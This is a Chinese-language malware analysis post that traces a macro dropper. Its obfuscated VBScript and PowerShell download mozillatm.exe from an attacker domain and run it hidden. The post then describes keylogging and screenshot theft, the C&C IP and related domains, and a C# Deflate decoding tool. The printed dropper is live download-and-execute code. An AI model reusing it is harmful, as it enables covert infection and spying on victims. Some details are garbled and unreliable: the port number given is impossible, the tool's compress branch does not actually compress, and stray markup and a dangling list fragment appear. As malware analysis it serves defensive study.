b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
  
"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
  
>> 'http://mozillatm.com/loading.html'

fuNctioN gJSoYXXAVqwD()
  
    DIM taCXnLuJDFFL
  
    taCXnLuJDFFL = cHRW(34)
     CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
     HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
     ChRw(34)
  
    CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
     " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
  
eND fUnCtioN

[/table]

""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""

[table=98%]

伪代码可以这样写:

Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run  ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""  & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0

在运行之后，它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中，注意这个’s’,看起来像是一种备份。

Program Files中复制的文件：

然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:\windows\SysWow64” 文件夹中，那么这个自动生成的秘钥就不会在64位下的机器中运行，这说明这个恶意软件的备份在64位下的机器中将会失效。

“Mozillatm.exe”将是我们的恶意可执行文件。

该恶意软件将与C&C通信，IP地址为162.248.92.28:131106。

这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%\AppData\Roaming\Mozillatms

按键日志可以在“logs”文件夹中找到。

屏幕快照数据使用压缩算法进行二次压缩，但是可以轻松地解压。

我编写了一个简单的工具来使用压缩算法执行压缩和解压。

/*
 * Title: Deflate Tool
 * Purpose: Compress and decompress files using the Deflate algorithm
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: [url]https://OsandaMalith.com[/url]
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
 
namespace compress2
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");
 
            if (args.Length != 3)
            {
                Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
                System.Environment.Exit(-1);
            }
 
            DeflateStream deflate = null;
            FileStream sink = null;
            FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
 
            if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
            {
                deflate = new DeflateStream(source, CompressionMode.Decompress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
 
                byte[] buffer = new byte[source.Length];
                buffer = new byte[source.Length];
 
                deflate.Read(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
            {
                deflate = new DeflateStream(source, CompressionMode.Compress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
                byte[] buffer = new byte[source.Length];
                source.Read(buffer, 0, buffer.Length);
                deflate.Write(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else
            {
                Console.WriteLine("Enter an option -c compress or -d decompress");
                System.Environment.Exit(-1);
            }
 
            source.Close();
        
        }
    }
}

这是恶意软件的截图。

出于好奇，我查看了C&C IP地址162.248.92.28，发现使用了Squid代理。

但是，它使用HTTP身份验证。

通过使用谷歌搜索，我发现这些域名也是使用相同的恶意软件进行攻击的变种。

·         Bd2bd.com
·         Pc-net.org
·         Bd-pc.com
·         Registerbd.com
·